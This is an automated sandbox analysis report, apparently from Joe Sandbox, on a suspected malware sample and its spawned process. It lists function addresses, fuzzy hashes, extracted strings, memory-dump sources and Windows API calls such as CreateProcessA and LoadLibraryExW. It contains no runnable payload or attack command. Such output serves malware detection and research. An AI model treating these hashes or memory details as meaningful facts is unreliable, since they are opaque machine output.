Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fa44acaa8df91d49db799f85d7fe98f4d9e4b6b1eb4fb51731d86372f69de1c
Instruction ID: c1f6912b89e80bf0106c7c74f7b6867e8a7b7540d979093d059b884af3e2cd5b
Opcode Fuzzy Hash: 3fa44acaa8df91d49db799f85d7fe98f4d9e4b6b1eb4fb51731d86372f69de1c
Instruction Fuzzy Hash: 69115931A047099FCB20DFAADCC59AFFFF6AF85300B144A2AD15597651D770A845CBA0

Function 06687E48 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4919f10b593bd6ebf10dd96bd667d4d1b81d99e1d4bd14b9d843729c30667419
Instruction ID: 7b6ef705f6a35f3f4729a4f2eb14dd53429e21c5fa1f5da4ad8a47ac80d93773
Opcode Fuzzy Hash: 4919f10b593bd6ebf10dd96bd667d4d1b81d99e1d4bd14b9d843729c30667419
Instruction Fuzzy Hash: D411C432B011052FDB64EA78D8507EF77EB8BC9250F60013AE10AE3381EE619C0387E2

Function 066871D0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea52d243df04fb748a5e76906264e8778f966977545a05e7b4733088625cf68
Instruction ID: 194741713d11ab8f240a8d4038df50155e8c3e2f73c158354235ab78406efb30
Opcode Fuzzy Hash: bea52d243df04fb748a5e76906264e8778f966977545a05e7b4733088625cf68
Instruction Fuzzy Hash: B4216F30E002199FCF54EBB9D9546DEBBF5EB49310F2045A9E509E7350DA32D941CF50

Function 010BD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2899199979.00000000010BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10bd000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ec627737c72ebf0be575fd3678bb0d01979ac911e8fce1a5ebf27f0bf695c29
Instruction ID: dee948e5d5e0957d1fc3baed9601f58d4d2648c21173e58b71d4bbb22aa177f9
Opcode Fuzzy Hash: 6ec627737c72ebf0be575fd3678bb0d01979ac911e8fce1a5ebf27f0bf695c29
Instruction Fuzzy Hash: 772153755083809FDB12CF54D9D4711BFB1EB46214F28C5DAD8898F2A7C33A9856CB62

Function 066880C7 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a1826d0ed7da74d51b69e119d21f1f5b2037a6d2f43536b990c6540e21770f
Instruction ID: 8e0d72366fdc5a58ea062587aacb20af536031d6fca25c5eb8cc342a600e6b77
Opcode Fuzzy Hash: f4a1826d0ed7da74d51b69e119d21f1f5b2037a6d2f43536b990c6540e21770f
Instruction Fuzzy Hash: 4101D231B041520FDB95A67EE86076AABDADBCA710F14857EE04EC7392DD21CC468381

Function 06687AE8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35d27a4ff0e6f14648972375668a436742b2ee008986697c5d7895a3fd0c140
Instruction ID: 9d1bf712d0054e0b530f85c13035d8249762019e2a33dbf8cbbcefe11f39467c
Opcode Fuzzy Hash: a35d27a4ff0e6f14648972375668a436742b2ee008986697c5d7895a3fd0c140
Instruction Fuzzy Hash: CA21C2B5D01259AFCB00DFAAD884ADEFFB8FB49310F10812AE518A7740C374A954CFA5

Function 066837AC Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d54eeabbaedbe6f6e4d2523b06f72d1c6b9db071f8e081cb4c40556cad17ee3
Instruction ID: 54c4a13165278a0c33fd7bcda75abbf194355857c83508224a2e5e6817952d52
Opcode Fuzzy Hash: 7d54eeabbaedbe6f6e4d2523b06f72d1c6b9db071f8e081cb4c40556cad17ee3
Instruction Fuzzy Hash: A421C0B1D01259AFCB00DF9AD884ADEFFB4FB49310F20812AE918A7240D374A954CFA5

Function 066880D8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1766f574f33de068dc4ab31d20cb5f89838382a5b8129338be44c83d8623ed
Instruction ID: 6134b3c2cf8f75cd81fed85b63d40bee27ef32f029d15ce22e35224e99bf1a85
Opcode Fuzzy Hash: ad1766f574f33de068dc4ab31d20cb5f89838382a5b8129338be44c83d8623ed
Instruction Fuzzy Hash: E001AD31B101120FDB64A57EE894B2BA3CADBCA720F20893DE10EC7344DE65DC428791

Function 0668EB00 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f789e6956d51debf2d2b241d679cf08cacd627efb77347f24ba05b8527501849
Instruction ID: c5e06dea255c004bb55358fe0c5ef3e9301f64e0d64900aa82ced6666242098d
Opcode Fuzzy Hash: f789e6956d51debf2d2b241d679cf08cacd627efb77347f24ba05b8527501849
Instruction Fuzzy Hash: 19018630B003151FDB64B67DE55476F72D6DB89714F508529E10BC7344ED66DC0287D5

Function 010AD628 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2899081030.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10ad000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 989342b1c02299801d5fe53baedd82c2a5d5d5068184ecf0301c8ee23b5b43a8
Instruction ID: 28c0e5af1668ebb98b84121ab27f045d3a2f3464a3fb7e44468eda543a5ace84
Opcode Fuzzy Hash: 989342b1c02299801d5fe53baedd82c2a5d5d5068184ecf0301c8ee23b5b43a8
Instruction Fuzzy Hash: 96F062714083449AE7118A5AD884B66FFE8EF45724F18C49AED4C4E687C3799844DBB1

Function 0668A3C1 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f383a34d181c8a12badac849a21f5eea616b2b200d67f809cf3f80fa88266df1
Instruction ID: 579074f6ffd1ab69ad8b127f177eb33dba22b7f4482a0f1c4210ba9662d7c447
Opcode Fuzzy Hash: f383a34d181c8a12badac849a21f5eea616b2b200d67f809cf3f80fa88266df1
Instruction Fuzzy Hash: 0BF06531D19248EFDB60DEB4D98174A7BA9DB02204F20499AD884C7202E576DD01C791

Function 0668A3D0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 000681e7d3af8b73ddd273f26b482b98d8f964234c4fcacff3e4f8c0064acdff
Instruction ID: f0feb2056144c1616b5d1896d0267ccdea2936585dd56d74d89fcfd2794a4dca
Opcode Fuzzy Hash: 000681e7d3af8b73ddd273f26b482b98d8f964234c4fcacff3e4f8c0064acdff
Instruction Fuzzy Hash: 5EE0EC71E14108AFDF50EEF4C94575E76ADD701214F208AAAD809D7301E576DE42D780

Function 06685BA0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7eba8dc842865bc2dbeec111bb660c787c6157277df03ef1de821119f5ccd48
Instruction ID: d6fa996405d9172f58e9f6d0a50c01c955a2cfef8c5acc30a75761970d9b3c66
Opcode Fuzzy Hash: b7eba8dc842865bc2dbeec111bb660c787c6157277df03ef1de821119f5ccd48
Instruction Fuzzy Hash:

Non-executed Functions

Function 0668B420 Relevance: 21.7, Strings: 17, Instructions: 435COMMON

Download Yara Rule

Strings

(c<, xrefs: 0668B4B5
$^q, xrefs: 0668B8DF
$^q, xrefs: 0668B722
xc<, xrefs: 0668B6A6
$^q, xrefs: 0668B95B
c<, xrefs: 0668B79D
Zc<, xrefs: 0668B640
$^q, xrefs: 0668B72E
Hc<, xrefs: 0668B48B
$^q, xrefs: 0668B69E
uc<, xrefs: 0668B68A
Vc<, xrefs: 0668B4E3
$c<, xrefs: 0668B7B4
kc<, xrefs: 0668B70A
6c<, xrefs: 0668B512
$^q, xrefs: 0668B94F
.5vq, xrefs: 0668B472

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: c<$$c<$(c<$.5vq$6c<$Hc<$Vc<$Zc<$kc<$uc<$xc<$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1940057540
Opcode ID: dd9bad55e9de742d838686ff296ec075fe9d799e0d953c2f3c242c194476d0c3
Instruction ID: 6273999cd9fad5b8cb7a5e4d4be817926edf8ed48780f0f7299e845cd28aa15e
Opcode Fuzzy Hash: dd9bad55e9de742d838686ff296ec075fe9d799e0d953c2f3c242c194476d0c3
Instruction Fuzzy Hash: 63F14A30B003098FDB58EFB9C55466EB7E2BF95304F208669D41AAB3A4DE71DC46CB91

Function 0668F1D0 Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

$^q, xrefs: 0668F33F
$^q, xrefs: 0668F3AC
$^q, xrefs: 0668F370
$^q, xrefs: 0668F333
$^q, xrefs: 0668F2DE
$^q, xrefs: 0668F3A0
$^q, xrefs: 0668F364
$^q, xrefs: 0668F2D2

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: f5f79842b319d61869ef6447df3e903d91dfc03c0979160358d5d7c0e913954b
Instruction ID: e2ee77fc9244ec360771357e109c50507c8ba3aa0d9c590b7d50a81ef7665ccf
Opcode Fuzzy Hash: f5f79842b319d61869ef6447df3e903d91dfc03c0979160358d5d7c0e913954b
Instruction Fuzzy Hash: 85918D30E003099FDB68FFB9D55476E76F2AF84344F208629E406AB395DE749C46CB91

Function 0668B410 Relevance: 7.7, Strings: 6, Instructions: 185COMMON

Download Yara Rule

Strings

(c<, xrefs: 0668B4B5
Vc<, xrefs: 0668B4E3
Zc<, xrefs: 0668B640
Hc<, xrefs: 0668B48B
6c<, xrefs: 0668B512
.5vq, xrefs: 0668B472

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: (c<$.5vq$6c<$Hc<$Vc<$Zc<
API String ID: 0-737864906
Opcode ID: 28b8dc806a486ed4fdb0d4cae2666dddf88b7c0c9d02af63bff2ecfcbcf96fc5
Instruction ID: b6c378015f34f2691e24d39c8ffcfaebbb3170037b8f3e6ec14719959a27f6a0
Opcode Fuzzy Hash: 28b8dc806a486ed4fdb0d4cae2666dddf88b7c0c9d02af63bff2ecfcbcf96fc5
Instruction Fuzzy Hash: F0713A30A013198FDB58EFB9C5547AEB7F6BF84304F608629E405AB3A4DB719C46CB91

Function 0668E860 Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

Jc<, xrefs: 0668E91E
fc<, xrefs: 0668E92A
lc<, xrefs: 0668E943
Sc<, xrefs: 0668E8A3
Cc<, xrefs: 0668E8F5

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: Cc<$Jc<$Sc<$fc<$lc<
API String ID: 0-1955103774
Opcode ID: 602c5406ecb5eb676d950d6f4a036014b5c5977f9814f6ea6dd7417377b9c370
Instruction ID: fa41319dd26f050b515856d6aca344a81bc9d0452e659c8d44e47fd92615e416
Opcode Fuzzy Hash: 602c5406ecb5eb676d950d6f4a036014b5c5977f9814f6ea6dd7417377b9c370
Instruction Fuzzy Hash: 21519435B102055FDB94FBB8D4506AEB2E7EBC9614F108639E50AEB390EE71DC068B91

Function 0668DC50 Relevance: 5.3, Strings: 4, Instructions: 328COMMON

Download Yara Rule

Strings

Ec<, xrefs: 0668DE31
Uc<, xrefs: 0668DE16
c<, xrefs: 0668DF71
`c<, xrefs: 0668DECB

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: c<$Ec<$Uc<$`c<
API String ID: 0-665649908
Opcode ID: 79b7ed0765c06116e7fc7e56ca7abdf489be97cd74ae88b274c42fcda1893463
Instruction ID: 53c036416d1cf9d1d83b1fcafee267deb69e553d54fdb8cf76f12aa5a9b1964a
Opcode Fuzzy Hash: 79b7ed0765c06116e7fc7e56ca7abdf489be97cd74ae88b274c42fcda1893463
Instruction Fuzzy Hash: 20D18E30F00259CFCBA4EF64C8946AEB7F2AF95304F548599D449AF394DB709C86CB91

Function 0668C8E8 Relevance: 5.3, Strings: 4, Instructions: 298COMMON

Download Yara Rule

Strings

$^q, xrefs: 0668CB67
$^q, xrefs: 0668CBD2
$^q, xrefs: 0668CBDE
$^q, xrefs: 0668CB73

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 2ed8f8c5032dfee66084d43385c0f0b336455a5b96ba57295740aa8018d06c46
Instruction ID: 518b8527a1386d541c7e0f70d21ed979edad39b3d4545997134e207597731dca
Opcode Fuzzy Hash: 2ed8f8c5032dfee66084d43385c0f0b336455a5b96ba57295740aa8018d06c46
Instruction Fuzzy Hash: AFB12C30F002098FDB58EBB9C5546AEB7E2AF84304F248669E406EB355DF75DC86CB91

Function 0668EBB0 Relevance: 5.2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

Strings

Dc<, xrefs: 0668EC5F
qc<, xrefs: 0668EC79
;c<, xrefs: 0668ED0A
ac<, xrefs: 0668EC91

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: ;c<$Dc<$ac<$qc<
API String ID: 0-323276557
Opcode ID: 4499828439cbd3099087f6de9cc55c43a597a48f9e59ebde647f70c74a09e1d9
Instruction ID: 263192845669ad6f5ec8ee37fbf69e7a48b74b24e59f4c257ec3ac09ee0941a7
Opcode Fuzzy Hash: 4499828439cbd3099087f6de9cc55c43a597a48f9e59ebde647f70c74a09e1d9
Instruction Fuzzy Hash: C9718E31F102058FCB54FBB8D4945ADB7B2EF88214F508A6AE51AEB350EB31DC46CB91

Function 0668CD30 Relevance: 5.2, Strings: 4, Instructions: 190COMMON

Download Yara Rule

Strings

$^q, xrefs: 0668CDCB
LR^q, xrefs: 0668CE9C
LR^q, xrefs: 0668CE36
$^q, xrefs: 0668CDBF

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: e2aed2beb6f9aa2a4bff423231ef9aef2aa1ea55590a32ebd38721daffdabf0e
Instruction ID: 5699df297185f36a452a92208061b169691a99afa560125017fd01fac647ed26
Opcode Fuzzy Hash: e2aed2beb6f9aa2a4bff423231ef9aef2aa1ea55590a32ebd38721daffdabf0e
Instruction Fuzzy Hash: 1F61B430B403059FDB58FB78C550A6EB7E2AF88604B108669E406AF3A5DF71DC41C7A1

Function 0668F592 Relevance: 5.2, Strings: 4, Instructions: 170COMMON

Download Yara Rule

Strings

$^q, xrefs: 0668F6D1
$^q, xrefs: 0668F787
$^q, xrefs: 0668F758
$^q, xrefs: 0668F723

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 254dfd57a48676f00824c3919c1090fd5de03a7254f1ca5dac708cbc0d4dee95
Instruction ID: 4acd01fcb67d07471d9f792a576209b725340fd3baaed5be193b98b9a9d706fd
Opcode Fuzzy Hash: 254dfd57a48676f00824c3919c1090fd5de03a7254f1ca5dac708cbc0d4dee95
Instruction Fuzzy Hash: 96517C30E113059FDBA8FB78E5806AEB3E2EB84250F204629E416EB355DE31EC42CB51

Function 0668EBA2 Relevance: 5.1, Strings: 4, Instructions: 139COMMON

Download Yara Rule

Strings

Dc<, xrefs: 0668EC5F
qc<, xrefs: 0668EC79
;c<, xrefs: 0668ED0A
ac<, xrefs: 0668EC91

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: ;c<$Dc<$ac<$qc<
API String ID: 0-323276557
Opcode ID: f1ede9d005c6639d2fef791ebafd09a15b066c8f63378568d55e29dee274a2d3
Instruction ID: 045cdbbb6258bd2eb39a75e8f98301d91fb7cddbec399d7b6e2990ed0bfed686
Opcode Fuzzy Hash: f1ede9d005c6639d2fef791ebafd09a15b066c8f63378568d55e29dee274a2d3
Instruction Fuzzy Hash: 51419130A003059FCB54FFB8D4949AEBBF6EF88204B104A69E416E7350DE31DC46CBA1

Analysis Process: NxmtwwVGOtEdjd.exePID: 7680, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	391
Total number of Limit Nodes:	13

Executed Functions

Function 079596CC Relevance: 1.7, APIs: 1, Instructions: 244
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0795990E

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 26d6172f92c0fb4215790fb6e46579c2d928efe3ac0d171d133bce2a99ce3ef5
Instruction ID: 1ec7170499e4ea94f8745a41eae52501982e05367e547d6a6f8eb09e9f444ec5
Opcode Fuzzy Hash: 26d6172f92c0fb4215790fb6e46579c2d928efe3ac0d171d133bce2a99ce3ef5
Instruction Fuzzy Hash: C79150B1D0022ACFEF10CF69C8417DDBBB5BF48314F1485AAD858A7250D775A985CF92

Function 079596D8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0795990E

Memory Dump Source

Source File: 0000000A.00000002.1790761888.0000000007950000.00000040.00000800.00020000.00000000.sdmp, Offset: 07950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7950000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a9c47b4546466ace971c201b9d42aa89206b4c40038cb89ff70134910476e058
Instruction ID: 34632258b192d4d668bd5af5adb30fbccb7016a27b6678e8e7b729436ab2feae
Opcode Fuzzy Hash: a9c47b4546466ace971c201b9d42aa89206b4c40038cb89ff70134910476e058
Instruction Fuzzy Hash: 25915DB1D0022ADFEF10CF69C8417DDBBB6BF48314F1481AAD858A7250DB75A985CF92

Function 030CAE30 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030CB086

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f752132e9f16b6695fb00e1e6a8f6845d1d22c85cecf8ccba346fe20ca87a78a
Instruction ID: ce4f7d30ae03941494f29469082755f9fdb6357cebe5deddca354a7132ecf027
Opcode Fuzzy Hash: f752132e9f16b6695fb00e1e6a8f6845d1d22c85cecf8ccba346fe20ca87a78a
Instruction Fuzzy Hash: 267158B0A11B498FD764DF6AD15079ABBF5FF88300F14896ED086D7A50DB34E84ACB90

Function 05731C70 Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05731E02

Memory Dump Source

Source File: 0000000A.00000002.1789246755.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5730000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 55973d6d2769ec8744fe7212c135a87717e30432dfa96396667e097fad45abec
Instruction ID: 93d06f68a3b84b78fc982161a4799e5b2df964346790d53ef47a52089a0cff81
Opcode Fuzzy Hash: 55973d6d2769ec8744fe7212c135a87717e30432dfa96396667e097fad45abec
Instruction Fuzzy Hash: 225103B1D003089FDB14CFAAC885ADEBFB5FF48310F64816AE419AB221D7719845DF90

Function 05730AA8 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05731E02

Memory Dump Source

Source File: 0000000A.00000002.1789246755.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5730000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7884951b0d1b2be8739fae1f9f29405e0bb895d056330c839e7dbf2b11d93a98
Instruction ID: a684d0b3ae1cfad437c13fa5932767a2aee0647dd8962109610e91530d8f2375
Opcode Fuzzy Hash: 7884951b0d1b2be8739fae1f9f29405e0bb895d056330c839e7dbf2b11d93a98
Instruction Fuzzy Hash: CD51C2B1D00319DFDB14CFAAC985ADEBBB5FF48310F64812AE819AB211D771A845CF91

Function 05730BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05734381

Memory Dump Source

Source File: 0000000A.00000002.1789246755.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5730000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1c4a7387c74dc8f90511eac36f376e6b622e0a22b8080ebd89e6813a4d37304e
Instruction ID: a5278ef8e9164ea90e0a31cc2e8aad9ae0f1d3b232b938b0731763d9ed859730
Opcode Fuzzy Hash: 1c4a7387c74dc8f90511eac36f376e6b622e0a22b8080ebd89e6813a4d37304e
Instruction Fuzzy Hash: 9141F8B59002099FCB14DF99C489AAABBF6FF88324F24C459D519AB321D775A841CFA0

Function 030C449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 030C59C9

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 6461c6dbb2d5e7d9da5da76d9d227bed26b95eb2727991a9f61140686ed0ea2a
Instruction ID: ec97e867d9a3a9218a844f8c5657b5d5202a8e78008b9242aeeb744d602dd4f4
Opcode Fuzzy Hash: 6461c6dbb2d5e7d9da5da76d9d227bed26b95eb2727991a9f61140686ed0ea2a
Instruction Fuzzy Hash: F541F1B1C00659CBDB24DFAAC884B8EFBF5BF49304F2480AAD408AB255DB756945CF90

Function 030C590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 030C59C9

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 64434fa29e6bf06cf53e76e70190d9847d9e2a11bdea856272aec21540457bef
Instruction ID: d39dd0b63dc53fcb98040092aa354f1a1340ed0b88d4684a177f555127132175
Opcode Fuzzy Hash: 64434fa29e6bf06cf53e76e70190d9847d9e2a11bdea856272aec21540457bef
Instruction Fuzzy Hash: 3141D1B1C00659CFDB24DFAAC884B8EFBF5BF49304F24809AD408AB255DB756985CF90

Function 030CA858 Relevance: 1.6, APIs: 1, Instructions: 79
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CB101,00000800,00000000,00000000), ref: 030CB312

Memory Dump Source

Source File: 0000000A.00000002.1786567199.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_30c0000_NxmtwwVGOtEdjd.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
